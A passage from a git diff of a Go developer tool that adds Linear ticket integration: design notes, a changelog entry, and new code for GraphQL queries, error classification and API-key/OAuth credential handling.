wait. +- Team keys come from `.fleet.json`/`.fleet.local.json` `{"linear":{"team":"BRZ"}}` (merged additively like `pr_checks.ignore`), falling back to `team_id` in a committed `.linear.toml`. That file belongs to the CLI fleet no longer uses, but reading one key out of a file someone already has costs nothing and makes this zero-touch for them; **`api_key` in the same file is never read** (`TestTeamKeysReadOnlyTeamID`). Gating is on the **set**, not one key — a workspace routinely has several teams and one repo may see branches from both. +- One GraphQL round trip does everything (`issueFullQuery`): description, comments with author and timestamp, labels, assignee, priority, parent/children, attachments, **and the team's workflow states**, so the optional state write needs no second query. Measured at **87 complexity points** against a 10,000-per-query cap; rate limits are 2,500 req/hr and 3M complexity/hr against roughly 2 calls per worktree, so **no throttling machinery exists**. `issue(id: "BRZ-3182")` takes the shorthand identifier. Search is `searchIssues(term:)` — confirmed against the live schema, where `issueSearch(query:)` also exists and neither is deprecated — and is deliberately **unscoped by team**: the repo gate already decides *whether* to search, and someone typing prose wants matches, not a filter they didn't ask for. +- **Error classification cannot key on HTTP status** (`TestGraphQLErrorClassification`). Captured from the live API: an unknown issue returns **HTTP 200** with an `errors[]` entry whose own `extensions` carry `statusCode 400` and the message `Entity not found: Issue`; a bad token returns 401 with code `AUTHENTICATION_ERROR`. Reading the status alone would file "no such issue" as a generic failure and break the negative pin that stops fleet re-asking on every session start. +- **Extensions are recovered, not trusted.** Linear's default alt text is literally `image.png` and its upload URLs carry no filename, so a real PNG would land unnamed and unextensioned — and an agent's file-read tool dispatches on extension, making a perfectly downloaded screenshot unreadable. `detectExt` sniffs magic bytes (`http.DetectContentType`), which also rejects a 401 HTML body that would otherwise sit beside real screenshots. Recovering the extension and rewriting the markdown links are a **matched pair**: fix one and the agent still sees nothing. `findImages` takes **only** `http(s)` targets (`TestFindImagesTakesOnlyRemoteLinks`) — a relative path or a `file:` link in a description is not something fleet has any business reading off disk and copying into a worktree. +- Files land at `/.fleet/ticket//` — inside the worktree so the agent reads them with a relative path and **no permission prompt**, since a prompt on the session's first act renders as `-` waiting, the friction this feature removes. Git exclusion uses `git rev-parse --git-path info/exclude`, **never `--git-dir` + `info/exclude`**: `info` is on git's shared-path list, so a linked worktree's `--git-dir` gives a path git never reads — the entry would look installed and exclude nothing (`TestAddFleetExcludeFromLinkedWorktree` proves it with `check-ignore`). The entry is therefore repo-wide and written once, idempotently, and it is `.gitignore`'s opposite on purpose: `.gitignore` is tracked, so writing it would dirty a fresh worktree and risk committing customer screenshots. The exclude is written **before the first byte**, since a window where the files exist and the exclude does not is a window where `git add -A` sweeps a customer screenshot into a commit. +- Branch names are `brz-3182-` (`BranchNameFor`), **not** Linear's own `branchName`, which carries an owner prefix (`alice/brz-3182-…`). Linear links a PR by finding the identifier anywhere in the name, so both link identically; this form matches the convention already on disk. +- Inference is **team-gated** (`IdentifierFromBranch`). The regex is deliberately loose about the prefix because the *caller* gates on the repo's real team keys; ungated it reads `fix-123-thing` as `FIX-123` and `release-2024-cleanup` as `RELEASE-2024`, identifiers for teams that don't exist. The gate is what makes a non-ticket branch cost nothing. +- **Nothing polls.** Ticket work is event-driven and one-shot: at worktree creation, and at session creation when the branch names an issue and `.fleet/ticket//` is absent — the directory is the ledger, so it survives restarts and deleting it is the natural "refresh". `TestTicketWorkStaysOffTheWorkers` keeps it out of `refreshAllGitAndPR`, whose `workerStallThreshold` (90s) is already sized against ~70s of git + `gh` per repo. This is only affordable because there is no badge, hence no live state to keep fresh. +- The one mutation resolves the team's started state by **type**, against a position-sorted list (`TestStartedStateResolvesByTypeAndPosition`), so it works on a team whose started state is called "In Dev" or "Doing". Position matters as much as type: a real team has several started states (In Progress at position 2, In Review at 1002) and the lowest is what a human means by "I'm starting this" — any other choice would move a fresh ticket straight to review. Fires **only on create-from-ticket** (config `linear_ticket_start`, default true), never when a later session opens in an existing worktree — by then a human may have moved the issue on, and dragging it backwards is the worst thing this could do. `meta.json` records `state_write` so it stays exactly-once. +- The seeded prompt is a **short pointer that tells the agent not to start** (`TestSeedPromptTellsAgentNotToStart`), stated at the top and bottom because a first message describing a task reads as an instruction to perform it. Line 1 leads with the identifier before the title because it is three surfaces at once: the agent's instruction, the preview pane's prompt strip, and the input to `naming.GenerateTitle`, which cuts at ~50 runes. It rides `sessionCreateMsg.prompt` -> `Session.InitialPrompt`. +- **Ticket suggestions live in the `w` dialog's existing New branch field, not a new field and not a mode** (`internal/ui/workspace_picker_ticket.go`). The field IS the literal option, so nothing duplicates it and only one thing ever claims Enter. Two rules make that hold: **exactly one highlight, and the caret lives with it** — arrowing onto a ticket blurs the input, typing returns both and keeps the keystroke (`isTypingKey`, borrowed from the snooze dialog, whose "the highlight is the promise" rule this follows); and **shape decides the default, never a mode** — text matching a team's identifier shape resolves *in place* (`LooksLikeIdentifier`), prose stays literal with tickets one down-arrow below. The highlight never moves on its own; a picker that jumps its own selection is the ambiguity coming back through the window. `setSelection` is the single writer of `focus`/`ticketCursor`, enforced by `TestWorktreeSelectionMutatorIsTheOnlyWriter`, because a stray write skips the clamp and renders two selection markers. The footer names what Enter will do and changes as the highlight moves. +- Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. +- Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. +- Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. - `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) @@ -167,6 +175,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Worktree creation copies `.claude/settings.local.json` from source repo (configurable via `copy_claude_settings`, default true) - `.fleet.json` / `.fleet.local.json` in repo root (legacy `.bc.json` / `.bc.local.json` still read): `{"workspace": {"list": "cmd", "create": "cmd {{name}} {{branch}}", "destroy": "cmd {{name}}"}}` - `.fleet.json` / `.fleet.local.json` may also set `{"pr_checks": {"ignore": ["glob", ...]}}` to drop matching CI checks from the PR-badge rollup (path.Match globs; lists from both files merge additively; opt-in, empty by default) +- `.fleet.json` / `.fleet.local.json` may also set `{"linear": {"team": "BRZ"}}` (or `"teams": ["BRZ","PRD"]`) to name the Linear team(s) this repo tracks — the per-repo gate that turns ticket features on. `.fleet.local.json` is usually the right home: team membership is personal and `.fleet.json` is committed. Lists merge additively; falls back to `team_id` in a `.linear.toml` - `.fleet.json` / `.fleet.local.json` may also set `{"copy_files": {"paths": ["path", "dir", "glob/*", ...]}}` to copy gitignored files/dirs/globs from the source repo into each new worktree (filepath.Glob semantics, repo-relative only; lists from both files merge additively; opt-in, empty by default; applies to both git-worktree and shell providers; independent of `copy_claude_settings`) - Multi-agent: per-session agent (Claude, Codex, or OpenCode), chosen at creation (`A` key picker or `default_agent` config used by `a`). Stored in SQLite `agent` column; `internal/agent` owns binary name + launch command (`claude` / `codex resume ` / `codex fork ` / `opencode --session ` / `opencode --session --fork`). - Multi-account (Claude only, `internal/claudeaccount`): several Claude subscriptions, one per session, so a spent 5-hour window on one doesn't stall the fleet. The mechanism is **one env var** — `CLAUDE_CONFIG_DIR` (`claudeaccount.ConfigDirEnvVar`) pointing at a directory that holds that account's own claude.ai login — appended in `Session.sessionEnv()` (session.go), the single chokepoint already feeding `Start`/`Restart`/`RespawnClaude` via tmux `-e`. Each session therefore authenticates **exactly as a plain `claude` in a terminal does**: nothing is layered over anything, so claude.ai connectors, Remote Control and `/api/oauth/usage` all keep working. diff --git a/changelog/unreleased/linear-tickets.md b/changelog/unreleased/linear-tickets.md index 232ff132..ff1aabf6 100644 --- a/changelog/unreleased/linear-tickets.md +++ b/changelog/unreleased/linear-tickets.md @@ -3,4 +3,4 @@ type: added highlight: true --- -**Start a worktree from a Linear ticket.** Type `BRZ-3182` in the `w` dialog — or search by words — and fleet names the branch from the ticket, writes it and its screenshots into the worktree, and opens the agent already told to read it and not start yet. Existing worktrees whose branch names a ticket get the same treatment, and `fleet wt --ticket BRZ-3182` does it from the shell. Screenshots reach the agent even on a `linear` CLI too old to download them. +**Start a worktree from a Linear ticket.** Type `BRZ-3182` in the `w` dialog — or search by words — and fleet names the branch from the ticket, writes it and its screenshots into the worktree, and opens the agent already told to read it and not start yet. Existing worktrees whose branch names a ticket get the same treatment, and `fleet wt --ticket BRZ-3182` does it from the shell. Connect with `Ctrl+K` → "Connect Linear": sign in through your browser, or paste an API key if you work over SSH. diff --git a/cmd/fleet/worktree.go b/cmd/fleet/worktree.go index 2feed856..7d567b2e 100644 --- a/cmd/fleet/worktree.go +++ b/cmd/fleet/worktree.go @@ -352,7 +352,7 @@ func runWorktree(args []string) { var ticket *linear.Ticket if opts.ticket != "" { ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) - t, ferr := linear.Fetch(ctx, repoPath, opts.ticket) + t, ferr := linear.Fetch(ctx, opts.ticket) cancel() switch { case ferr != nil && opts.branch == "": @@ -429,17 +429,15 @@ func runWorktree(args []string) { if ticket != nil { ctx, cancel := context.WithTimeout(context.Background(), 90*time.Second) res, merr := linear.Materialize(ctx, linear.Opts{ - RepoDir: repoPath, WorktreePath: info.Path, Identifier: ticket.Identifier, - Ticket: *ticket, MoveState: cfg.IsLinearTicketStartEnabled() && !opts.noTicketStart, }) cancel() if merr != nil { fmt.Fprintf(os.Stderr, "Couldn't materialize %s: %v\n", ticket.Identifier, merr) } else { - fmt.Fprintf(os.Stderr, "Wrote %s (%s)%s\n", res.RelDir, describeTicketFiles(res), fallbackNote(res)) + fmt.Fprintf(os.Stderr, "Wrote %s (%s)\n", res.RelDir, describeTicketFiles(res)) if res.StateMoved != "" { fmt.Fprintf(os.Stderr, "Moved %s to its team's started state\n", res.Identifier) } @@ -625,13 +623,3 @@ func describeTicketFiles(r linear.Result) string { } return fmt.Sprintf("ticket.md + %d image(s)", r.Images) } - -// fallbackNote names the degraded path when fleet had to fetch the screenshots -// itself. Worth saying out loud: it means the installed `linear` is old enough -// that its own downloader is broken, and every ticket pays the slow path. -func fallbackNote(r linear.Result) string { - if !r.UsedFallback { - return "" - } - return " — fetched directly; upgrade with `brew upgrade schpet/tap/linear`" -} diff --git a/internal/linear/api.go b/internal/linear/api.go new file mode 100644 index 00000000..2f5b467c --- /dev/null +++ b/internal/linear/api.go @@ -0,0 +1,528 @@ +package linear + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "sort" + "strings" + "sync" + "time" + + "github.com/brizzai/fleet/internal/analytics" + "github.com/brizzai/fleet/internal/debuglog" +) + +// apiEndpoint is Linear's only GraphQL endpoint. Overridable so tests can point +// at an httptest server. +const apiEndpoint = "https://api.linear.app/graphql" + +var apiEndpointVar = apiEndpoint + +// getenv is a seam for tests; production always reads the real environment. +var getenv = os.Getenv + +func contextWithTimeout(d time.Duration) (context.Context, context.CancelFunc) { + return context.WithTimeout(context.Background(), d) +} + +// httpClient is shared so connections are reused across a burst of image +// downloads. The per-call context does the real bounding; the client timeout is +// a backstop for a request that never reaches the deadline machinery. +var httpClient = &http.Client{Timeout: 90 * time.Second} + +// failures are one-shot rather than polled, so this throttle isn't stopping a +// flood — it stops a user who creates ten worktrees against a broken credential +// from emitting ten identical events. reason is a low-cardinality label, never +// an issue identifier or a path. +const failTrackInterval = 10 * time.Minute + +var ( + failMu sync.Mutex + failLast time.Time +) + +func trackFailure(reason string) { + failMu.Lock() + if !failLast.IsZero() && time.Since(failLast) < failTrackInterval { + failMu.Unlock() + return + } + failLast = time.Now() + failMu.Unlock() + analytics.Track(analytics.EventLinearCommandFailure, map[string]any{ + "reason": reason, + }) +} + +type gqlRequest struct { + Query string `json:"query"` + Variables map[string]any `json:"variables,omitempty"` +} + +type gqlErrorEntry struct { + Message string `json:"message"` + Extensions struct { + Type string `json:"type"` + Code string `json:"code"` + } `json:"extensions"` +} + +type gqlEnvelope struct { + Data json.RawMessage `json:"data"` + Errors []gqlErrorEntry `json:"errors"` +} + +// classifyGraphQL maps a response onto a sentinel. +// +// Status alone cannot do this, which is the whole reason the function exists: +// Linear answers an unknown issue with **HTTP 200** and an errors[] entry whose +// own extensions carry statusCode 400. Captured from the live API rather than +// guessed: +// +// unknown id -> 200, message "Entity not found: Issue", code INPUT_ERROR +// bad token -> 401, code AUTHENTICATION_ERROR +func classifyGraphQL(status int, errs []gqlErrorEntry) error { + if status == http.StatusUnauthorized || status == http.StatusForbidden { + return ErrNotAuthenticated + } + for _, e := range errs { + code := strings.ToUpper(e.Extensions.Code) + msg := strings.ToLower(e.Message) + switch { + case code == "AUTHENTICATION_ERROR", strings.Contains(msg, "not authenticated"): + return ErrNotAuthenticated + case strings.Contains(msg, "entity not found"): + return ErrNotFound + } + } + if len(errs) > 0 { + return fmt.Errorf("linear: %s", truncate(errs[0].Message, 200)) + } + if status != http.StatusOK { + return fmt.Errorf("linear: http %d", status) + } + return nil +} + +// execute runs one GraphQL operation and decodes data into out. +func execute(ctx context.Context, timeout time.Duration, query string, vars map[string]any, out any) error { + cred, err := credential() + if err != nil { + return err + } + return executeWith(ctx, cred, timeout, query, vars, out) +} + +// executeWith is execute against an explicit credential, so the Connect dialog +// can verify a pasted key before anything is stored. +func executeWith(ctx context.Context, cred Credential, timeout time.Duration, query string, vars map[string]any, out any) error { + ctx, cancel := context.WithTimeout(ctx, timeout) + defer cancel() + + body, err := json.Marshal(gqlRequest{Query: query, Variables: vars}) + if err != nil { + return err + } + req, err := http.NewRequestWithContext(ctx, http.MethodPost, apiEndpointVar, bytes.NewReader(body)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", cred.authHeader()) + + resp, err := httpClient.Do(req) + if err != nil { + // A timeout must be distinguishable from a transport failure, and the + // context is the only reliable witness: the error the client returns on + // a cancelled request wraps its own type. Wrapped with %w so callers + // can errors.Is it. + if ctx.Err() == context.DeadlineExceeded { + trackFailure("timeout") + return fmt.Errorf("linear: request timed out: %w", ctx.Err()) + } + trackFailure("transport") + return fmt.Errorf("linear: %w", err) + } + defer resp.Body.Close() + + raw, err := io.ReadAll(io.LimitReader(resp.Body, maxResponseBytes)) + if err != nil { + return fmt.Errorf("linear: reading response: %w", err) + } + + var env gqlEnvelope + if err := json.Unmarshal(raw, &env); err != nil { + debuglog.Logger.Debug("linear: response was not JSON", "status", resp.StatusCode) + return fmt.Errorf("linear: unreadable response (http %d)", resp.StatusCode) + } + if err := classifyGraphQL(resp.StatusCode, env.Errors); err != nil { + if err != ErrNotFound { + debuglog.Logger.Debug("linear: request failed", "status", resp.StatusCode, "error", err) + trackFailure(reasonFor(err)) + } + return err + } + if out == nil || len(env.Data) == 0 { + return nil + } + return json.Unmarshal(env.Data, out) +} + +// reasonFor collapses an error to a low-cardinality analytics label. Never the +// error string: those can carry an issue identifier. +func reasonFor(err error) string { + switch err { + case ErrNotAuthenticated: + return "not_authenticated" + case ErrNotConnected: + return "not_connected" + case ErrNotFound: + return "not_found" + } + return "request_failed" +} + +func truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + "…" +} + +// --------------------------------------------------------------------------- +// Documents +// --------------------------------------------------------------------------- + +// issueLiteQuery is what the worktree dialog needs while you are still typing: +// enough to name the branch and show the row, nothing more. +const issueLiteQuery = `query Issue($id: String!) { + issue(id: $id) { identifier title url state { name } } +}` + +// issueFullQuery is everything Materialize writes to disk, in ONE round trip. +// +// The team's workflow states ride along deliberately: MoveToStarted needs them +// to resolve "started" by type, and fetching them here means the whole +// create-a-worktree-from-a-ticket flow costs one query plus the image GETs. +// Measured at 87 complexity points against a 10,000-per-query cap. +const issueFullQuery = `query Issue($id: String!) { + issue(id: $id) { + id identifier title url priority description + state { name type } + assignee { displayName } + labels(first: 20) { nodes { name } } + parent { identifier title } + children(first: 20) { nodes { identifier title } } + comments(first: 50) { nodes { body createdAt user { displayName } } } + attachments(first: 20) { nodes { title url } } + team { id key name states(first: 50) { nodes { id name type position } } } + } +}` + +// searchQuery uses searchIssues, confirmed against the live schema: both +// searchIssues(term:) and issueSearch(query:) exist and neither is deprecated, +// but searchIssues is the one that takes a plain full-text term. +const searchQuery = `query Search($term: String!, $first: Int!) { + searchIssues(term: $term, first: $first) { + nodes { identifier title url state { name } } + } +}` + +const workspaceQuery = `query Workspace { + organization { name urlKey } + teams(first: 250) { nodes { key name } } +}` + +const updateStateMutation = `mutation Start($id: String!, $stateId: String!) { + issueUpdate(id: $id, input: { stateId: $stateId }) { + success issue { state { name } } + } +}` + +// --------------------------------------------------------------------------- +// Decoding +// --------------------------------------------------------------------------- + +type issueLite struct { + Identifier string `json:"identifier"` + Title string `json:"title"` + URL string `json:"url"` + State *struct { + Name string `json:"name"` + Type string `json:"type"` + } `json:"state"` +} + +func (i *issueLite) ticket() Ticket { + if i == nil { + return Ticket{} + } + t := Ticket{Identifier: i.Identifier, Title: i.Title, URL: i.URL} + if i.State != nil { + t.StateName = i.State.Name + } + return t +} + +type workflowState struct { + ID string `json:"id"` + Name string `json:"name"` + Type string `json:"type"` + Position float64 `json:"position"` +} + +type issueFull struct { + issueLite + Priority int `json:"priority"` + Description string `json:"description"` + Assignee *struct { + DisplayName string `json:"displayName"` + } `json:"assignee"` + Labels struct { + Nodes []struct { + Name string `json:"name"` + } `json:"nodes"` + } `json:"labels"` + Parent *struct { + Identifier string `json:"identifier"` + Title string `json:"title"` + } `json:"parent"` + Children struct { + Nodes []struct { + Identifier string `json:"identifier"` + Title string `json:"title"` + } `json:"nodes"` + } `json:"children"` + Comments struct { + Nodes []struct { + Body string `json:"body"` + CreatedAt time.Time `json:"createdAt"` + User *struct { + DisplayName string `json:"displayName"` + } `json:"user"` + } `json:"nodes"` + } `json:"comments"` + Attachments struct { + Nodes []struct { + Title string `json:"title"` + URL string `json:"url"` + } `json:"nodes"` + } `json:"attachments"` + Team *issueTeam `json:"team"` +} + +// issueTeam is named rather than inline so the started-state resolution can be +// tested without reconstructing an anonymous struct type by hand. +type issueTeam struct { + ID string `json:"id"` + Key string `json:"key"` + Name string `json:"name"` + States struct { + Nodes []workflowState `json:"nodes"` + } `json:"states"` +} + +// startedState returns the team's first started state, resolved by TYPE against +// a position-sorted list. +// +// Matching on type rather than name is what makes this work on a team whose +// started state is called "In Dev" or "Doing". Verified against a live team +// whose started states are In Progress (position 2) and In Review (1002) — the +// lower position is the one a human means by "I'm starting this". +func (i *issueFull) startedState() (workflowState, bool) { + if i == nil || i.Team == nil { + return workflowState{}, false + } + var started []workflowState + for _, s := range i.Team.States.Nodes { + if s.Type == "started" { + started = append(started, s) + } + } + if len(started) == 0 { + return workflowState{}, false + } + sort.Slice(started, func(a, b int) bool { return started[a].Position < started[b].Position }) + return started[0], true +} + +// --------------------------------------------------------------------------- +// Operations +// --------------------------------------------------------------------------- + +// Fetch returns an issue's metadata. Used by the worktree dialog and by +// `fleet wt --ticket` to confirm an identifier exists before a branch is named +// after it. +func Fetch(ctx context.Context, id string) (Ticket, error) { + var out struct { + Issue *issueLite `json:"issue"` + } + if err := execute(ctx, metaTimeout, issueLiteQuery, map[string]any{"id": strings.ToUpper(id)}, &out); err != nil { + return Ticket{}, err + } + // A null node with no errors[] is Linear's other way of saying "no such + // issue" — treat it the same rather than returning an empty ticket that + // callers would have to re-check. + if out.Issue == nil || out.Issue.Identifier == "" { + return Ticket{}, ErrNotFound + } + return out.Issue.ticket(), nil +} + +// Search returns issues matching a full-text term, for the dialog's suggestions. +// +// Deliberately unscoped by team: the repo gate already decides WHETHER we +// search here, and someone typing prose wants matches, not a filter they +// didn't ask for. +func Search(ctx context.Context, term string, limit int) ([]Ticket, error) { + if limit <= 0 { + limit = 5 + } + var out struct { + SearchIssues struct { + Nodes []issueLite `json:"nodes"` + } `json:"searchIssues"` + } + if err := execute(ctx, metaTimeout, searchQuery, map[string]any{"term": term, "first": limit}, &out); err != nil { + return nil, err + } + var tickets []Ticket + for i := range out.SearchIssues.Nodes { + n := out.SearchIssues.Nodes[i] + if n.Identifier == "" { + continue + } + tickets = append(tickets, n.ticket()) + } + return tickets, nil +} + +// MoveToStarted moves an issue into its team's first started state and returns +// the resulting state name. +// +// Takes the already-fetched issue so the whole thing is one mutation: the +// states came along with the full fetch. Returns ("", nil) when the team has no +// started state at all, which is not an error — it is a team fleet has nothing +// to say about. +func MoveToStarted(ctx context.Context, issue *issueFull) (string, error) { + state, ok := issue.startedState() + if !ok { + return "", nil + } + var out struct { + IssueUpdate struct { + Success bool `json:"success"` + Issue *struct { + State *struct { + Name string `json:"name"` + } `json:"state"` + } `json:"issue"` + } `json:"issueUpdate"` + } + vars := map[string]any{"id": issue.Identifier, "stateId": state.ID} + if err := execute(ctx, stateTimeout, updateStateMutation, vars, &out); err != nil { + trackFailure("state_write_failed") + return "", err + } + if !out.IssueUpdate.Success { + trackFailure("state_write_failed") + return "", fmt.Errorf("linear: issue update was refused") + } + if u := out.IssueUpdate.Issue; u != nil && u.State != nil { + return u.State.Name, nil + } + return state.Name, nil +} + +// --------------------------------------------------------------------------- +// Workspace +// --------------------------------------------------------------------------- + +// Workspace is the connected organization, for display and for telling the user +// which team keys they can put in .fleet.json. +type Workspace struct { + Name string + URLKey string + TeamKeys []string +} + +var wsCache struct { + mu sync.RWMutex + ws Workspace + loaded bool +} + +func resetWorkspaceCache() { + wsCache.mu.Lock() + wsCache.ws, wsCache.loaded = Workspace{}, false + wsCache.mu.Unlock() +} + +// WorkspaceInfo returns the cached workspace, and whether it has been read yet. +// Free and non-blocking — safe from the Update goroutine. +func WorkspaceInfo() (Workspace, bool) { + wsCache.mu.RLock() + defer wsCache.mu.RUnlock() + return wsCache.ws, wsCache.loaded +} + +// FetchWorkspace reads the organization and its team keys, caching the result. +func FetchWorkspace(ctx context.Context) (Workspace, error) { + return fetchWorkspaceWith(ctx, Credential{}, true) +} + +// VerifyCredential proves a credential works before fleet stores it, and +// returns what it is attached to. +// +// Verifying first is what lets the Connect dialog say "connected" as a fact +// rather than a hope, and it means a typo is caught while the user is still +// looking at the field they typed it into. +func VerifyCredential(ctx context.Context, cred Credential) (Workspace, error) { + return fetchWorkspaceWith(ctx, cred, false) +} + +func fetchWorkspaceWith(ctx context.Context, cred Credential, useStored bool) (Workspace, error) { + var out struct { + Organization *struct { + Name string `json:"name"` + URLKey string `json:"urlKey"` + } `json:"organization"` + Teams struct { + Nodes []struct { + Key string `json:"key"` + Name string `json:"name"` + } `json:"nodes"` + } `json:"teams"` + } + + var err error + if useStored { + err = execute(ctx, metaTimeout, workspaceQuery, nil, &out) + } else { + err = executeWith(ctx, cred, metaTimeout, workspaceQuery, nil, &out) + } + if err != nil { + return Workspace{}, err + } + + ws := Workspace{} + if out.Organization != nil { + ws.Name, ws.URLKey = out.Organization.Name, out.Organization.URLKey + } + for _, t := range out.Teams.Nodes { + if t.Key != "" { + ws.TeamKeys = append(ws.TeamKeys, strings.ToUpper(t.Key)) + } + } + sort.Strings(ws.TeamKeys) + + wsCache.mu.Lock() + wsCache.ws, wsCache.loaded = ws, true + wsCache.mu.Unlock() + return ws, nil +} diff --git a/internal/linear/auth.go b/internal/linear/auth.go new file mode 100644 index 00000000..d0676dbb --- /dev/null +++ b/internal/linear/auth.go @@ -0,0 +1,260 @@ +package linear + +import ( + "errors" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/brizzai/fleet/internal/debuglog" +) + +// The two credential kinds fleet can hold. They differ in exactly one place — +// the Authorization header form — which is why they share a struct. +const ( + // KindAPIKey is exported because the Connect dialog constructs a Credential + // directly, to be verified before anything is stored. + KindAPIKey = "api_key" + KindOAuth = "oauth" + + credAPIKey = KindAPIKey + credOAuth = KindOAuth +) + +// APIKeyEnvVar is the escape hatch, and it is the `linear` CLI's own convention +// so anyone already scripting against Linear needs no migration. It wins over +// the stored credential, so a stale one can always be overridden without +// touching the UI — and so CI, which has no keychain, works at all. +const APIKeyEnvVar = "LINEAR_API_KEY" + +// Credential is what fleet needs to talk to Linear. +type Credential struct { + Kind string + Token string + Refresh string + ExpiresAt time.Time + Workspace string +} + +// authHeader returns the Authorization value for this credential. +// +// The two forms are not interchangeable and getting it wrong reads as a rejected +// credential: a personal API key is sent RAW, with no scheme, while an OAuth +// access token takes the ordinary Bearer prefix. Verified against the live API. +func (c Credential) authHeader() string { + if c.Kind == credOAuth { + return "Bearer " + c.Token + } + return c.Token +} + +func (c Credential) ok() bool { return c.Token != "" } + +// credState is the process-wide resolved credential. +// +// It exists because Available() is called from the Bubble Tea Update goroutine +// (ticket.go's branch inference), where a keychain subprocess must never run. +// warmed is an atomic so that read costs nothing; the mutex only guards the +// slower paths that actually load or replace it. +var credState struct { + mu sync.Mutex + cred Credential + loaded bool + warmed atomic.Bool + present atomic.Bool +} + +// Available reports whether fleet has a credential to work with. +// +// Free and non-blocking by contract: it reads two atomics and an env var, never +// the keychain. Before Warm has run it answers false, which makes every ticket +// surface inert for the few milliseconds after launch — the honest answer, and +// cheaper than blocking a frame to find out. +func Available() bool { + if envKey() != "" { + return true + } + return credState.warmed.Load() && credState.present.Load() +} + +// Resolved reports whether fleet has finished looking for a credential. +// +// The distinction matters to anything that acts on the ABSENCE of one: before +// Warm runs, Available() answers false because it does not know yet, and a +// caller that reads that as "this user has no Linear" would, for the first +// moments of every launch, be wrong about a connected user. +func Resolved() bool { return credState.warmed.Load() } + +func envKey() string { return strings.TrimSpace(getenv(APIKeyEnvVar)) } + +// Warm loads the stored credential once, off the Update goroutine. +// +// Called from the TUI's startup batch. Idempotent: a second call after a +// successful load is a no-op, so it is safe to use as a "make sure" before any +// path that needs a definite answer. +func Warm() { + credState.mu.Lock() + defer credState.mu.Unlock() + loadLocked() +} + +func loadLocked() Credential { + if credState.loaded { + return credState.cred + } + if key := envKey(); key != "" { + credState.cred = Credential{Kind: credAPIKey, Token: key} + } else if s, ok := loadStored(); ok { + // stored and Credential are field-identical on purpose: the wire format + // is named separately because it carries the JSON tags, but there is no + // mapping to get wrong. + credState.cred = Credential(s) + } + credState.loaded = true + credState.warmed.Store(true) + credState.present.Store(credState.cred.ok()) + return credState.cred +} + +// refreshMargin is how early an OAuth token is renewed. Linear's access tokens +// last 24 hours, so five minutes of slack costs nothing and covers a clock that +// is a little off or a request that takes a while to start. +const refreshMargin = 5 * time.Minute + +// refreshMu serializes renewal. Without it a ticket with a dozen screenshots +// starts a dozen concurrent downloads, each finds the token stale, and each +// spends a refresh — with the losers' tokens immediately superseded. +var refreshMu sync.Mutex + +// credential returns the resolved credential, loading and renewing it as needed. +// +// Only ever called from the API paths, which all run off the Update goroutine, +// so it is allowed to block on the keychain and on the network. +func credential() (Credential, error) { + credState.mu.Lock() + c := loadLocked() + credState.mu.Unlock() + + if !c.ok() { + return Credential{}, ErrNotConnected + } + if !c.needsRefresh() { + return c, nil + } + return renew(c) +} + +// needsRefresh reports whether an OAuth credential is at or near expiry. An API +// key never expires, and an OAuth credential with no refresh token cannot be +// renewed — in both cases the honest move is to use what we have and let the API +// be the judge. +func (c Credential) needsRefresh() bool { + if c.Kind != credOAuth || c.Refresh == "" || c.ExpiresAt.IsZero() { + return false + } + return time.Until(c.ExpiresAt) < refreshMargin +} + +func renew(c Credential) (Credential, error) { + refreshMu.Lock() + defer refreshMu.Unlock() + + // Re-read under the refresh lock: another goroutine may have renewed while + // this one waited, and spending a second refresh would invalidate the first. + credState.mu.Lock() + current := credState.cred + credState.mu.Unlock() + if current.ok() && !current.needsRefresh() { + return current, nil + } + + ctx, cancel := contextWithTimeout(metaTimeout) + defer cancel() + + fresh, err := refresh(ctx, c.Refresh) + if err != nil { + // A refused refresh is terminal: the grant is gone and every subsequent + // request would 401 with no explanation anywhere. Clearing it is what + // makes the dialog and the tip say "not connected" instead of leaving + // the user with a fleet that silently stopped fetching tickets. + if errors.Is(err, ErrNotAuthenticated) { + debuglog.Logger.Warn("linear: refresh was refused — disconnecting") + _ = Disconnect() + return Credential{}, ErrNotAuthenticated + } + // Anything else (offline, endpoint down) is not evidence against the + // grant. Keep it and let the caller fail this one request. + return Credential{}, err + } + + fresh.Workspace = c.Workspace + if fresh.Refresh == 